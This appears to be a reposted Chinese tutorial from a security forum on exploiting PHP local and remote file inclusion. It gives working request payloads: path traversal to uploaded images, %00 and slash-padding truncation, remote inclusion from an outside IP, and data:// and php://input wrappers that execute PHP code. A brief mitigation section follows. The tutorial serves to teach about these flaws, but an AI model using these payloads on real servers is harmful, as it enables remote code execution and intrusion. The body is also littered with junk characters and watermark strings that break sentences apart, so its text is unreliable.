PHP学习文件包含的那些事
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP学习文件包含的那些事相关的知识,希望对你有一定的参考价值。
/*学习php中,依然是搜索引擎加上个人实践的结果 **抛砖引玉~ - 低调求发展: a; @* w) \+ |) t: p **Author 音符9 Y" Q1 V3 R0 {% d& Q I& J! {‘ V */ * S* g" y( i/ r 0x00 包含漏洞成因 - 低调求发展- v2 \4 p: j. v7 \9 b 首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。 两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个函数的不同,如图。
很清楚,如果是include的话,只会返回一个warning,后续代码可以继续执行,然后如果是require的话,则返回一个致命错误,脚本停止执行。: r% Y) e0 u- G: l5 o 此外,与此相似的还有require_once(),include_once()两个函数,效果大同小异。www.t00ls.net ^6 ^1 ~! N; j; m5 Y- T5 P* z‘ P - 低调求发展 - 潜心习安全2 l& y0 u/ ^: B: T 0x10 How to use test.php:
0x11 包含已上传文件 - 低调求发展0 u; b( `5 w* i, V7 [Usage:test.php?content=../upload/x.jpg - 低调求发展% v" o0 g$ a% G: M 适用于存在上传,但是无法上传可执行脚本的情况下,结果如图。 [attach]25377[/attach]T00ls.Net - 低调求发展 - 潜心习安全 - Focus On Cyber Security6 p4 T+ {& m9 e% f www.t00ls.net, h, J( h, ~, o 0x12 包含截断www.t00ls.net1 u6 r) `( y2 t5 b5 [5 W 然而在实战中,我们遇到的代码可能是这样的T00ls.Net - 低调求发展 - 潜心习安全 - Focus On Cyber Security4 B( R ^* {! o* r/ n include($content."htm"); //上例结果则包含x.jpg.htmwww.t00ls.net8 I‘ G6 m‘ n+ _2 X3 w9 l" N 这就需要利用到%00截断,我们知道字符串以\0为结束符,那么include函数只能读取到x.jpg正是我们上传的文件。www.t00ls.net4 x& k4 f8 ]0 H% m7 C9 M Usage:T00LS3 ]; x0 c; d4 \/ k1 b) t 但是这个是当gpc=off的时候我们可以用%00截断。 - 低调求发展 - 潜心习安全8 b1 U: @0 P/ L1 y 但是当gpc=ON时,%00会被转义,我们需要其他方法,有资料显示可以用/截断,但是需要一定长度的/,所以我们写一个脚本来测试,当存在多少个/时可以截断后面的字符。
Usage: http://127.0.0.1/test.php?content=x.jpg////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// (230个/) T00LS9 c; Q0 G: n7 h9 L9 Q( H - 低调求发展1 n6 F( h% {0 r6 ? 以上就是常见的LFI(Local File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。
0x13 RFI 利用于不可上传文件时。 Usage: http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00 更多的,当gpc=on时,RFI可以用?来截断,如图。 8 z- a! Q* `8 l, t. X
当然,如果有如下过滤
限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。 T00LS; w2 P) a6 u$ s. [‘ S5 P0x14 PHP伪协议 关于php封装协议的内容,请查阅php手册相关。 在此只是举出几例应用。 PHP 5.2起,可以用data://封装数据流 Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?> 9 c" E+ c5 {4 n$ G& v# n7 h‘ K$ J
自 PHP 4.3.0 起支持 - 低调求发展 - 潜心习安全 \- T m) [+ S9 u5 f 而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。 Usage:
只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。 - l# V2 b, V: b- Y0x15 etc Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。 T00LS* s, B% E2 ~: k0 p# @; a0x20 How To fix it
预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录. PS:这个脚本是我自己写的,有错的话希望大家不吝赐教(求绕过,求爆草)。 - 低调求发展# c/ ^& G1 k/ ~( q EReffer https://www.t00ls.net/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB |
-
image003.png (38.66 KB)
-
image005.png (43.15 KB)
以上是关于PHP学习文件包含的那些事的主要内容,如果未能解决你的问题,请参考以下文章